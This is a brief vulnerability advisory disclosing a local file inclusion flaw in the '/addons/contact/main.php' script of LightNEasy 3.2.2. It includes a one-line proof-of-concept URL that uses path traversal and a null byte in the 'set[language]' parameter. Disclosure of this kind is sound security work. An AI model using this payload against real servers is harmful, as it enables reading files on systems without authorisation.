LFI in LightNEasy

Vulnerability ID: HTB22752
Reference: http://www.htbridge.ch/advisory/lfi_in_lightneasy.html
Product: LightNEasy
Vendor: Fernando Baptista ( http://www.lightneasy.org/ )
Vulnerable Version: 3.2.2
Vendor Notification: 15 December 2010
Vulnerability Type: LFI
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/addons/contact/main.php" script to properly sanitize user-supplied input in "set[language]" variable then register_globals is on.

The following PoC is available:

http://[host]/addons/contact/main.php?set[language]=/…/…/…/…/…/…/gpl.txt%00